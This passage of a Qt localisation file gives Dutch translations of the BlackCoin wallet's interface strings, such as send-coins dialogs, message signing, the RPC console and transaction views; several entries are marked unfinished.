niet.</translation> </message> <message> <location line="+3"/> <source>Display coin &amp;control features (experts only!)</source> <translation>Laat coin &amp; control functies zien (enkel voor gevorderden!)</translation> </message> <message> <location line="+7"/> <source>Whether to select the coin outputs randomly or with minimal coin age.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Minimize weight consumption (experimental)</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Use black visual theme (requires restart)</source> <translation type="unfinished"/> </message> <message> <location line="+71"/> <source>&amp;OK</source> <translation>&amp;OK</translation> </message> <message> <location line="+7"/> <source>&amp;Cancel</source> <translation>Ann&amp;uleren</translation> </message> <message> <location line="+10"/> <source>&amp;Apply</source> <translation>&amp;Toepassen</translation> </message> <message> <location filename="../optionsdialog.cpp" line="+47"/> <source>default</source> <translation>standaard</translation> </message> <message> <location line="+148"/> <location line="+9"/> <source>Warning</source> <translation>Waarschuwing</translation> </message> <message> <location line="-9"/> <location line="+9"/> <source>This setting will take effect after restarting BlackCoin.</source> <translation>Deze instelling word toegepast na een restart van BlackCoin.</translation> </message> <message> <location line="+29"/> <source>The supplied proxy address is invalid.</source> <translation>Het opgegeven proxyadres is ongeldig.</translation> </message> </context> <context> <name>OverviewPage</name> <message> <location filename="../forms/overviewpage.ui" line="+14"/> <source>Form</source> <translation>Vorm</translation> </message> <message> <location line="+46"/> <location line="+247"/> <source>The displayed information may be out of date. Your wallet automatically synchronizes with the BlackCoin network after a connection is established, but this process has not completed yet.</source> <translation>De weergegeven informatie kan verouderd zijn, Je portemonnee synchroniseerd automatisch met het BlackCoin netwerk nadat er verbindig is gemaakt, maar dit proces is nog niet voltooid.</translation> </message> <message> <location line="-173"/> <source>Stake:</source> <translation>Stake:</translation> </message> <message> <location line="+32"/> <source>Unconfirmed:</source> <translation>Onbevestigd:</translation> </message> <message> <location line="-113"/> <source>Wallet</source> <translation>Portemonnee</translation> </message> <message> <location line="+49"/> <source>Spendable:</source> <translation>Uitgeefbaar:</translation> </message> <message> <location line="+16"/> <source>Your current spendable balance</source> <translation>Uw beschikbare saldo</translation> </message> <message> <location line="+80"/> <source>Immature:</source> <translation>Immatuur:</translation> </message> <message> <location line="+13"/> <source>Mined balance that has not yet matured</source> <translation>Gedolven saldo dat nog niet tot wasdom is gekomen</translation> </message> <message> <location line="+23"/> <source>Total:</source> <translation>Totaal:</translation> </message> <message> <location line="+16"/> <source>Your current total balance</source> <translation>Uw totale saldo</translation> </message> <message> <location line="+50"/> <source>&lt;b&gt;Recent transactions&lt;/b&gt;</source> <translation>&lt;b&gt;Recente transacties&lt;/b&gt;</translation> </message> <message> <location line="-118"/> <source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source> <translation>Totaal van de transacties die nog moeten worden bevestigd, en nog niet mee voor het huidige balans</translation> </message> <message> <location line="-32"/> <source>Total of coins that was staked, and do not yet count toward the current balance</source> <translation>Totaal aantal munten dat was staked, en nog niet telt voor huidige balans.</translation> </message> <message> <location filename="../overviewpage.cpp" line="+116"/> <location line="+1"/> <source>out of sync</source> <translation>niet gesynchroniseerd</translation> </message> </context> <context> <name>PaymentServer</name> <message> <location filename="../paymentserver.cpp" line="+107"/> <source>Cannot start blackcoin: click-to-pay handler</source> <translation type="unfinished"/> </message> </context> <context> <name>QRCodeDialog</name> <message> <location filename="../forms/qrcodedialog.ui" line="+14"/> <source>QR Code Dialog</source> <translation>QR Code Scherm</translation> </message> <message> <location line="+59"/> <source>Request Payment</source> <translation>Vraag betaling</translation> </message> <message> <location line="+56"/> <source>Amount:</source> <translation>Hoeveelheid:</translation> </message> <message> <location line="-44"/> <source>Label:</source> <translation>Label:</translation> </message> <message> <location line="+19"/> <source>Message:</source> <translation>Bericht:</translation> </message> <message> <location line="+71"/> <source>&amp;Save As...</source> <translation>&amp;Opslaan als...</translation> </message> <message> <location filename="../qrcodedialog.cpp" line="+62"/> <source>Error encoding URI into QR Code.</source> <translation>Fout tijdens encoderen URI in QR-code</translation> </message> <message> <location line="+40"/> <source>The entered amount is invalid, please check.</source> <translation>De ingevoerde hoeveel is ongeldig, controleer aub.</translation> </message> <message> <location line="+23"/> <source>Resulting URI too long, try to reduce the text for label / message.</source> <translation>Resulterende URI te lang, probeer de tekst korter te maken voor het label/bericht.</translation> </message> <message> <location line="+25"/> <source>Save QR Code</source> <translation>Sla QR Code op.</translation> </message> <message> <location line="+0"/> <source>PNG Images (*.png)</source> <translation>PNG Afbeeldingen (*.png)</translation> </message> </context> <context> <name>RPCConsole</name> <message> <location filename="../forms/rpcconsole.ui" line="+46"/> <source>Client name</source> <translation>Clientnaam</translation> </message> <message> <location line="+10"/> <location line="+23"/> <location line="+26"/> <location line="+23"/> <location line="+23"/> <location line="+36"/> <location line="+53"/> <location line="+23"/> <source>N/A</source> <translation>N.v.t.</translation> </message> <message> <location line="-194"/> <source>Client version</source> <translation>Clientversie</translation> </message> <message> <location line="-45"/> <source>&amp;Information</source> <translation>&amp;Informatie</translation> </message> <message> <location line="+68"/> <source>Using OpenSSL version</source> <translation>Gebruikt OpenSSL versie</translation> </message> <message> <location line="+49"/> <source>Startup time</source> <translation>Opstarttijd</translation> </message> <message> <location line="+29"/> <source>Network</source> <translation>Netwerk</translation> </message> <message> <location line="+7"/> <source>Number of connections</source> <translation>Aantal connecties</translation> </message> <message> <location line="+23"/> <source>On testnet</source> <translation>Op testnetwerk</translation> </message> <message> <location line="+23"/> <source>Block chain</source> <translation>Blokketen</translation> </message> <message> <location line="+7"/> <source>Current number of blocks</source> <translation>Huidig aantal blokken</translation> </message> <message> <location line="+197"/> <source>&amp;Network Traffic</source> <translation type="unfinished"/> </message> <message> <location line="+52"/> <source>&amp;Clear</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>Totals</source> <translation type="unfinished"/> </message> <message> <location line="+64"/> <source>In:</source> <translation type="unfinished"/> </message> <message> <location line="+80"/> <source>Out:</source> <translation type="unfinished"/> </message> <message> <location line="-383"/> <source>Last block time</source> <translation>Tijd laatste blok</translation> </message> <message> <location line="+52"/> <source>&amp;Open</source> <translation>&amp;Open</translation> </message> <message> <location line="+16"/> <source>Command-line options</source> <translation>Commandoregel-opties</translation> </message> <message> <location line="+7"/> <source>Show the BlackCoin-Qt help message to get a list with possible BlackCoin command-line options.</source> <translation>Laat het Blackcoin-QT help bericht zien om een lijst te krijgen met mogelijke Blackcoin command-regel opties.</translation> </message> <message> <location line="+3"/> <source>&amp;Show</source> <translation>&amp;Show</translation> </message> <message> <location line="+24"/> <source>&amp;Console</source> <translation>&amp;Console</translation> </message> <message> <location line="-237"/> <source>Build date</source> <translation>Bouwdatum</translation> </message> <message> <location line="-104"/> <source>BlackCoin - Debug window</source> <translation>Blackcoin - Debugscherm</translation> </message> <message> <location line="+25"/> <source>BlackCoin Core</source> <translation>BlackCoin Kern</translation> </message> <message> <location line="+256"/> <source>Debug log file</source> <translation>Debug-logbestand</translation> </message> <message> <location line="+7"/> <source>Open the BlackCoin debug log file from the current data directory. This can take a few seconds for large log files.</source> <translation>Open het BlackCoin debug log bestand van de huidige data map. Dit kan een paar seconden duren voor grote log bestanden.</translation> </message> <message> <location line="+102"/> <source>Clear console</source> <translation>Maak console leeg</translation> </message> <message> <location filename="../rpcconsole.cpp" line="+325"/> <source>Welcome to the BlackCoin RPC console.</source> <translation>Welkom bij de BlackCoin RPC console.</translation> </message> <message> <location line="+1"/> <source>Use up and down arrows to navigate history, and &lt;b&gt;Ctrl-L&lt;/b&gt; to clear screen.</source> <translation>Gebruik de pijltjestoetsen om door de geschiedenis te navigeren, en &lt;b&gt;Ctrl-L&lt;/b&gt; om het scherm leeg te maken.</translation> </message> <message> <location line="+1"/> <source>Type &lt;b&gt;help&lt;/b&gt; for an overview of available commands.</source> <translation>Typ &lt;b&gt;help&lt;/b&gt; voor een overzicht van de beschikbare commando&apos;s.</translation> </message> <message> <location line="+127"/> <source>%1 B</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>%1 KB</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>%1 MB</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>%1 GB</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>%1 m</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>%1 h</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>%1 h %2 m</source> <translation type="unfinished"/> </message> </context> <context> <name>SendCoinsDialog</name> <message> <location filename="../forms/sendcoinsdialog.ui" line="+14"/> <location filename="../sendcoinsdialog.cpp" line="+182"/> <location line="+5"/> <location line="+5"/> <location line="+5"/> <location line="+6"/> <location line="+5"/> <location line="+5"/> <source>Send Coins</source> <translation>Verstuur munten</translation> </message> <message> <location line="+76"/> <source>Coin Control Features</source> <translation>Coin controle opties</translation> </message> <message> <location line="+20"/> <source>Inputs...</source> <translation>Invoer...</translation> </message> <message> <location line="+7"/> <source>automatically selected</source> <translation>automatisch geselecteerd</translation> </message> <message> <location line="+19"/> <source>Insufficient funds!</source> <translation>Onvoldoende fonds!</translation> </message> <message> <location line="+77"/> <source>Quantity:</source> <translation>Kwantiteit</translation> </message> <message> <location line="+22"/> <location line="+35"/> <source>0</source> <translation>0</translation> </message> <message> <location line="-19"/> <source>Bytes:</source> <translation>Bytes:</translation> </message> <message> <location line="+51"/> <source>Amount:</source> <translation>Bedrag:</translation> </message> <message> <location line="+35"/> <source>Priority:</source> <translation>Prioriteit:</translation> </message> <message> <location line="+19"/> <source>medium</source> <translation>gemiddeld</translation> </message> <message> <location line="+32"/> <source>Fee:</source> <translation>Vergoeding:</translation> </message> <message> <location line="+35"/> <source>Low Output:</source> <translation>Lage uitvoer:</translation> </message> <message> <location line="+19"/> <source>no</source> <translation>nee</translation> </message> <message> <location line="+32"/> <source>After Fee:</source> <translation>Na vergoeding:</translation> </message> <message> <location line="+35"/> <source>Change</source> <translation>Wijzigen</translation> </message> <message> <location line="+50"/> <source>custom change address</source> <translation>handmatig veranderen adres</translation> </message> <message> <location line="+106"/> <source>Send to multiple recipients at once</source> <translation>Verstuur aan verschillende ontvangers ineens</translation> </message> <message> <location line="+3"/> <source>Add &amp;Recipient</source> <translation>Voeg &amp;Ontvanger Toe</translation> </message> <message> <location line="+16"/> <source>Remove all transaction fields</source> <translation>Verwijder alles in de invulvelden</translation> </message> <message> <location line="+3"/> <source>Clear &amp;All</source> <translation>Verwijder &amp;Alles</translation> </message> <message> <location line="+24"/> <source>Balance:</source> <translation>Saldo:</translation> </message> <message> <location line="+47"/> <source>Confirm the send action</source> <translation>Bevestig de verstuuractie</translation> </message> <message> <location line="+3"/> <source>S&amp;end</source> <translation>&amp;Verstuur</translation> </message> <message> <location filename="../sendcoinsdialog.cpp" line="-174"/> <source>Enter a BlackCoin address (e.g. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</source> <translation>Voeg een Blackcoin adres in (bijv. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</translation> </message> <message> <location line="+15"/> <source>Copy quantity</source> <translation>Kopieer aantal</translation> </message> <message> <location line="+1"/> <source>Copy amount</source> <translation>Kopieer bedrag</translation> </message> <message> <location line="+1"/> <source>Copy fee</source> <translation>Kopieer vergoeding</translation> </message> <message> <location line="+1"/> <source>Copy after fee</source> <translation>Kopieer na vergoeding</translation> </message> <message> <location line="+1"/> <source>Copy bytes</source> <translation>Kopieer bytes</translation> </message> <message> <location line="+1"/> <source>Copy priority</source> <translation>Kopieer prioriteit</translation> </message> <message> <location line="+1"/> <source>Copy low output</source> <translation>Kopieer lage uitvoer</translation> </message> <message> <location line="+1"/> <source>Copy change</source> <translation>Kopieer wijzig</translation> </message> <message> <location line="+87"/> <source>&lt;b&gt;%1&lt;/b&gt; to %2 (%3)</source> <translation>&lt;b&gt; %1 &lt;/b&gt; to %2 (%3)</translation> </message> <message> <location line="+5"/> <source>Confirm send coins</source> <translation>Bevestig versturen munten</translation> </message> <message> <location line="+1"/> <source>Are you sure you want to send %1?</source> <translation>Weet je zeker dat je %1 wilt verzenden?</translation> </message> <message> <location line="+0"/> <source> and </source> <translation>en</translation> </message> <message> <location line="+29"/> <source>The recipient address is not valid, please recheck.</source> <translation>Het ontvangstadres is niet geldig, controleer uw invoer.</translation> </message> <message> <location line="+5"/> <source>The amount to pay must be larger than 0.</source> <translation>Het ingevoerde bedrag moet groter zijn dan 0.</translation> </message> <message> <location line="+5"/> <source>The amount exceeds your balance.</source> <translation>Bedrag is hoger dan uw huidige saldo</translation> </message> <message> <location line="+5"/> <source>The total exceeds your balance when the %1 transaction fee is included.</source> <translation>Totaal overschrijdt uw huidige saldo wanneer de %1 transactiekosten worden meegerekend</translation> </message> <message> <location line="+6"/> <source>Duplicate address found, can only send to each address once per send operation.</source> <translation>Dubbel adres gevonden, u kunt slechts eenmaal naar een bepaald adres verzenden per verstuurtransactie</translation> </message> <message> <location line="+5"/> <source>Error: Transaction creation failed!</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation>Fout: De transactie was geweigerd, Dit kan gebeuren als sommige munten in je portemonnee al gebruikt zijn, door het gebruik van een kopie van wallet.dat en de munten in de kopie zijn niet gemarkeerd als gebruikt.</translation> </message> <message> <location line="+247"/> <source>WARNING: Invalid BlackCoin address</source> <translation>WAARSCHUWING: Ongeldig Blackcoin adres</translation> </message> <message> <location line="+13"/> <source>(no label)</source> <translation>(geen label)</translation> </message> <message> <location line="+4"/> <source>WARNING: unknown change address</source> <translation>WAARSCHUWING: Onbekend adres</translation> </message> </context> <context> <name>SendCoinsEntry</name> <message> <location filename="../forms/sendcoinsentry.ui" line="+14"/> <source>Form</source> <translation>Vorm</translation> </message> <message> <location line="+15"/> <source>A&amp;mount:</source> <translation>Bedra&amp;g:</translation> </message> <message> <location line="+13"/> <source>Pay &amp;To:</source> <translation>Betaal &amp;Aan:</translation> </message> <message> <location line="+34"/> <source>The address to send the payment to (e.g. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</source> <translation type="unfinished"/> </message> <message> <location line="+60"/> <location filename="../sendcoinsentry.cpp" line="+26"/> <source>Enter a label for this address to add it to your address book</source> <translation>Vul een label in voor dit adres om het toe te voegen aan uw adresboek</translation> </message> <message> <location line="-78"/> <source>&amp;Label:</source> <translation>&amp;Label:</translation> </message> <message> <location line="+28"/> <source>Choose address from address book</source> <translation>Kies adres uit adresboek</translation> </message> <message> <location line="+10"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="+7"/> <source>Paste address from clipboard</source> <translation>Plak adres vanuit klembord</translation> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+7"/> <source>Remove this recipient</source> <translation>Verwijder deze ontvanger</translation> </message> <message> <location filename="../sendcoinsentry.cpp" line="+1"/> <source>Enter a BlackCoin address (e.g. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</source> <translation>Voeg een Blackcoin adres in (bijv. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</translation> </message> </context> <context> <name>SignVerifyMessageDialog</name> <message> <location filename="../forms/signverifymessagedialog.ui" line="+14"/> <source>Signatures - Sign / Verify a Message</source> <translation>Handtekeningen - Onderteken een bericht / Verifiëer een handtekening</translation> </message> <message> <location line="+13"/> <location line="+124"/> <source>&amp;Sign Message</source> <translation>O&amp;nderteken Bericht</translation> </message> <message> <location line="-118"/> <source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source> <translation>U kunt berichten ondertekenen met een van uw adressen om te bewijzen dat u dit adres bezit. Pas op dat u geen onduidelijke dingen ondertekent, want phishingaanvallen zouden u kunnen misleiden om zo uw identiteit te stelen. Onderteken alleen berichten waarmee u het volledig eens bent.</translation> </message> <message> <location line="+18"/> <source>The address to sign the message with (e.g. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</source> <translation>Het adres om het bericht te ondertekenen (bijv. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i) </translation> </message> <message> <location line="+10"/> <location line="+203"/> <source>Choose an address from the address book</source> <translation>Kies een adres uit het adresboek</translation> </message> <message> <location line="-193"/> <location line="+203"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="-193"/> <source>Paste address from clipboard</source> <translation>Plak adres vanuit klembord</translation> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+12"/> <source>Enter the message you want to sign here</source> <translation>Typ hier het bericht dat u wilt ondertekenen</translation> </message> <message> <location line="+24"/> <source>Copy the current signature to the system clipboard</source> <translation>Kopieer de huidige handtekening naar het systeemklembord</translation> </message> <message> <location line="+21"/> <source>Sign the message to prove you own this BlackCoin address</source> <translation>Teken een bericht om te bewijzen dat je een BlackCoin adres bezit.</translation> </message> <message> <location line="+17"/> <source>Reset all sign message fields</source> <translation>Verwijder alles in de invulvelden</translation> </message> <message> <location line="+3"/> <location line="+146"/> <source>Clear &amp;All</source> <translation>Verwijder &amp;Alles</translation> </message> <message> <location line="-87"/> <location line="+70"/> <source>&amp;Verify Message</source> <translation>&amp;Verifiëer Bericht</translation> </message> <message> <location line="-64"/> <source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source> <translation>Voer het ondertekenende adres, bericht en handtekening hieronder in (let erop dat u nieuwe regels, spaties en tabs juist overneemt) om de handtekening te verifiëren. Let erop dat u niet meer uit het bericht interpreteert dan er daadwerkelijk staat, om te voorkomen dat u wordt misleid in een man-in-the-middle-aanval.</translation> </message> <message> <location line="+21"/> <source>The address the message was signed with (e.g. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</source> <translation>Het adres van het bericht is ondertekend met (bijv. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</translation> </message> <message> <location line="+40"/> <source>Verify the message to ensure it was signed with the specified BlackCoin address</source> <translation>Verifieer een bericht om zeker te zijn dat deze is ondertekend met een specifiek BlackCoin adres</translation> </message> <message> <location line="+17"/> <source>Reset all verify message fields</source> <translation>Verwijder alles in de invulvelden</translation> </message> <message> <location filename="../signverifymessagedialog.cpp" line="+27"/> <location line="+3"/> <source>Enter a BlackCoin address (e.g. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</source> <translation>Voeg een Blackcoin adres in (bijv. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)</translation> </message> <message> <location line="-2"/> <source>Click &quot;Sign Message&quot; to generate signature</source> <translation>Klik &quot;Onderteken Bericht&quot; om de handtekening te genereren</translation> </message> <message> <location line="+3"/> <source>Enter BlackCoin signature</source> <translation>Voer BlackCoin handtekening in</translation> </message> <message> <location line="+85"/> <location line="+81"/> <source>The entered address is invalid.</source> <translation>Het opgegeven adres is ongeldig.</translation> </message> <message> <location line="-81"/> <location line="+8"/> <location line="+73"/> <location line="+8"/> <source>Please check the address and try again.</source> <translation>Controleer s.v.p. het adres en probeer het opnieuw.</translation> </message> <message> <location line="-81"/> <location line="+81"/> <source>The entered address does not refer to a key.</source> <translation>Het opgegeven adres verwijst niet naar een sleutel.</translation> </message> <message> <location line="-73"/> <source>Wallet unlock was cancelled.</source> <translation>Portemonnee-ontsleuteling is geannuleerd</translation> </message> <message> <location line="+8"/> <source>Private key for the entered address is not available.</source> <translation>Geheime sleutel voor het ingevoerde adres is niet beschikbaar.</translation> </message> <message> <location line="+12"/> <source>Message signing failed.</source> <translation>Ondertekenen van het bericht is mislukt.</translation> </message> <message> <location line="+5"/> <source>Message signed.</source> <translation>Bericht ondertekend.</translation> </message> <message> <location line="+59"/> <source>The signature could not be decoded.</source> <translation>De handtekening kon niet worden gedecodeerd.</translation> </message> <message> <location line="+0"/> <location line="+13"/> <source>Please check the signature and try again.</source> <translation>Controleer s.v.p. de handtekening en probeer het opnieuw.</translation> </message> <message> <location line="+0"/> <source>The signature did not match the message digest.</source> <translation>De handtekening hoort niet bij het bericht.</translation> </message> <message> <location line="+7"/> <source>Message verification failed.</source> <translation>Berichtverificatie mislukt.</translation> </message> <message> <location line="+5"/> <source>Message verified.</source> <translation>Bericht correct geverifiëerd.</translation> </message> </context> <context> <name>TrafficGraphWidget</name> <message> <location filename="../trafficgraphwidget.cpp" line="+75"/> <source>KB/s</source> <translation type="unfinished"/> </message> </context> <context> <name>TransactionDesc</name> <message> <location filename="../transactiondesc.cpp" line="+25"/> <source>Open until %1</source> <translation>Openen totdat %1</translation> </message> <message> <location line="+6"/> <source>conflicted</source> <translation>conflicted</translation> </message> <message> <location line="+2"/> <source>%1/offline</source> <translation>%1/offline</translation> </message> <message> <location line="+2"/> <source>%1/unconfirmed</source> <translation>%1/onbevestigd</translation> </message> <message> <location line="+2"/> <source>%1 confirmations</source> <translation>%1 bevestigingen</translation> </message> <message> <location line="+17"/> <source>Status</source> <translation>Status</translation> </message> <message numerus="yes"> <location line="+7"/> <source>, broadcast through %n node(s)</source> <translation><numerusform>, uitgezonden naar %n node</numerusform><numerusform>, uitgezonden naar %n nodes</numerusform></translation> </message> <message> <location line="+4"/> <source>Date</source> <translation>Datum</translation> </message> <message> <location line="+7"/> <source>Source</source> <translation>Bron</translation> </message> <message> <location line="+0"/> <source>Generated</source> <translation>Gegenereerd</translation> </message> <message> <location line="+5"/> <location line="+13"/> <source>From</source> <translation>Van</translation> </message> <message> <location line="+1"/> <location line="+19"/> <location line="+58"/> <source>To</source> <translation>Aan</translation> </message> <message> <location line="-74"/> <location line="+2"/> <source>own address</source> <translation>eigen adres</translation> </message> <message> <location line="-2"/> <source>label</source> <translation>label</translation> </message> <message> <location line="+34"/> <location line="+12"/> <location line="+45"/> <location line="+17"/> <location line="+30"/> <source>Credit</source> <translation>Credit</translation> </message> <message numerus="yes"> <location line="-102"/> <source>matures in %n more block(s)</source> <translation><numerusform>komt tot wasdom na %n nieuw blok</numerusform><numerusform>komt tot wasdom na %n nieuwe blokken</numerusform></translation> </message> <message> <location line="+2"/> <source>not accepted</source> <translation>niet geaccepteerd</translation> </message> <message> <location line="+44"/> <location line="+8"/> <location line="+15"/> <location line="+30"/> <source>Debit</source> <translation>Debet</translation> </message> <message> <location line="-39"/> <source>Transaction fee</source> <translation>Transactiekosten</translation> </message> <message> <location line="+16"/> <source>Net amount</source> <translation>Netto bedrag</translation> </message> <message> <location line="+6"/> <source>Message</source> <translation>Bericht</translation> </message> <message> <location line="+2"/> <source>Comment</source> <translation>Opmerking</translation> </message> <message> <location line="+2"/> <source>Transaction ID</source> <translation>Transactie-ID:</translation> </message> <message> <location line="+3"/> <source>Generated coins must mature 510 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to &quot;not accepted&quot; and it won&apos;t be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source> <translation>Gegenereerd munten moeten 510 blokken maturen voordat ze kunnen worden besteed. Wanneer je een blok genereerd, het naar het netwerk is verzonden en toegevoegd aan de blokketen, zal de status veranderen naar &quot;niet geaccepteerd&quot;and kan het niet uitgegeven worden. Dit kan soms gebeuren als een ander knooppunt genereert een blok binnen een paar seconden na jou.</translation> </message> <message> <location line="+7"/> <source>Debug information</source> <translation>Debug-informatie</translation> </message> <message> <location line="+8"/> <source>Transaction</source> <translation>Transactie</translation> </message> <message> <location line="+5"/> <source>Inputs</source> <translation>Inputs</translation> </message> <message> <location line="+21"/> <source>Amount</source> <translation>Bedrag</translation> </message> <message> <location line="+1"/> <source>true</source> <translation>waar</translation> </message> <message> <location line="+0"/> <source>false</source> <translation>onwaar</translation> </message> <message> <location line="-202"/> <source>, has not been successfully broadcast yet</source> <translation>, is nog niet met succes uitgezonden</translation> </message> <message numerus="yes"> <location line="-36"/> <source>Open for %n more block(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+67"/> <source>unknown</source> <translation>onbekend</translation> </message> </context> <context> <name>TransactionDescDialog</name> <message> <location filename="../forms/transactiondescdialog.ui" line="+14"/> <source>Transaction details</source> <translation>Transactiedetails</translation> </message> <message> <location line="+6"/> <source>This pane shows a detailed description of the transaction</source> <translation>Dit venster laat een uitgebreide beschrijving van de transactie zien</translation> </message> </context> <context> <name>TransactionTableModel</name> <message> <location filename="../transactiontablemodel.cpp" line="+231"/> <source>Date</source> <translation>Datum</translation> </message> <message> <location line="+0"/> <source>Type</source> <translation>Type</translation> </message> <message> <location line="+0"/> <source>Address</source> <translation>Adres</translation> </message> <message> <location line="+0"/> <source>Amount</source> <translation>Bedrag</translation> </message> <message> <location line="+52"/> <source>Open until %1</source> <translation>Open tot %1</translation> </message> <message> <location line="+12"/> <source>Confirmed (%1 confirmations)</source> <translation>Bevestigd (%1 bevestigingen)</translation> </message> <message numerus="yes"> <location line="-15"/> <source>Open for %n more block(s)</source> <translation><numerusform>Open voor nog %n blok</numerusform><numerusform>Open voor nog %n blokken</numerusform></translation> </message> <message> <location line="+6"/> <source>Offline</source> <translation>Offline</translation> </message> <message> <location line="+3"/> <source>Unconfirmed</source> <translation>Onbevestigd:</translation> </message> <message> <location line="+3"/> <source>Confirming (%1 of %2 recommended confirmations)</source> <translation>Bevestigen.. (%1 van de %2 bevestigingen)</translation> </message> <message> <location line="+6"/> <source>Conflicted</source> <translation>Conflicted</translation> </message> <message> <location line="+3"/> <source>Immature (%1 confirmations, will be available after %2)</source> <translation>Immature (%1 bevestiging, word beschikbaar na %2)</translation> </message> <message> <location line="+3"/> <source>This block was not received by any other nodes and will probably not be accepted!</source> <translation>Dit blok is niet ontvangen bij andere nodes en zal waarschijnlijk niet worden geaccepteerd!</translation> </message> <message> <location line="+3"/> <source>Generated but not accepted</source> <translation>Gegenereerd maar niet geaccepteerd</translation> </message> <message> <location line="+42"/> <source>Received with</source> <translation>Ontvangen met</translation> </message> <message> <location line="+2"/> <source>Received from</source> <translation>Ontvangen van</translation> </message> <message> <location line="+3"/> <source>Sent to</source> <translation>Verzonden aan</translation> </message> <message> <location line="+2"/> <source>Payment to yourself</source> <translation>Betaling aan uzelf</translation> </message> <message> <location line="+2"/> <source>Mined</source> <translation>Gedolven</translation> </message> <message> <location line="+38"/> <source>(n/a)</source> <translation>(nvt)</translation> </message> <message> <location line="+194"/> <source>Transaction status. Hover over this field to show number of confirmations.</source> <translation>Transactiestatus. Houd de muiscursor boven dit veld om het aantal bevestigingen te laten zien.</translation> </message> <message> <location line="+2"/> <source>Date and time that the transaction was received.</source> <translation>Datum en tijd waarop deze transactie is ontvangen.</translation> </message> <message> <location line="+2"/> <source>Type of transaction.</source> <translation>Type transactie.</translation> </message> <message> <location line="+2"/> <source>Destination address of transaction.</source> <translation>Ontvangend adres van transactie.</translation> </message> <message> <location line="+2"/> <source>Amount removed from or added to balance.</source> <translation>Bedrag verwijderd van of toegevoegd aan saldo</translation> </message> </context> <context> <name>TransactionView</name> <message> <location filename="../transactionview.cpp" line="+54"/> <location line="+17"/> <source>All</source> <translation>Alles</translation> </message> <message> <location line="-16"/> <source>Today</source> <translation>Vandaag</translation> </message> <message> <location line="+1"/> <source>This week</source> <translation>Deze week</translation> </message> <message> <location line="+1"/> <source>This month</source> <translation>Deze maand</translation> </message> <message> <location line="+1"/> <source>Last month</source> <translation>Vorige maand</translation> </message> <message> <location line="+1"/> <source>This year</source> <translation>Dit jaar</translation> </message> <message> <location line="+1"/> <source>Range...</source> <translation>Bereik...</translation> </message> <message> <location line="+12"/> <source>Received with</source> <translation>Ontvangen met</translation> </message> <message> <location line="+2"/> <source>Sent to</source> <translation>Verzonden aan</translation> </message> <message> <location line="+2"/> <source>To yourself</source> <translation>Aan uzelf</translation> </message> <message> <location line="+1"/> <source>Mined</source> <translation>Gedolven</translation> </message> <message> <location line="+1"/> <source>Other</source> <translation>Anders</translation> </message> <message> <location line="+7"/> <source>Enter address or label to search</source> <translation>Vul adres of label in om te zoeken</translation> </message> <message> <location line="+7"/> <source>Min amount</source> <translation>Min. bedrag</translation> </message> <message> <location line="+34"/> <source>Copy address</source> <translation>Kopieer adres</translation> </message> <message> <location line="+1"/> <source>Copy label</source> <translation>Kopieer label</translation> </message> <message> <location line="+1"/> <source>Copy amount</source> <translation>Kopieer bedrag</translation> </message> <message> <location line="+1"/> <source>Copy transaction ID</source> <translation>Kopieer transactie-ID</translation> </message> <message> <location line="+1"/> <source>Edit label</source> <translation>Bewerk label</translation> </message> <message> <location line="+1"/> <source>Show transaction details</source> <translation>Toon transactiedetails</translation> </message> <message> <location line="+138"/> <source>Export Transaction Data</source> <translation>Exporteer Transactie Data</translation> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation>Kommagescheiden bestand (*.csv)</translation> </message> <message> <location line="+8"/> <source>Confirmed</source> <translation>Bevestigd</translation> </message> <message> <location line="+1"/> <source>Date</source> <translation>Datum</translation> </message> <message> <location line="+1"/> <source>Type</source> <translation>Type</translation> </message> <message> <location line="+1"/> <source>Label</source> <translation>Label</translation> </message> <message> <location line="+1"/> <source>Address</source> <translation>Adres</translation> </message> <message> <location line="+1"/> <source>Amount</source> <translation>Bedrag</translation> </message> <message> <location line="+1"/> <source>ID</source> <translation>ID</translation> </message> <message> <location line="+4"/> <source>Error exporting</source> <translation>Fout bij exporteren</translation> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation>Kan niet schrijven naar bestand %1</translation> </message> <message> <location line="+100"/> <source>Range:</source> <translation>Bereik:</translation> </message> <message> <location 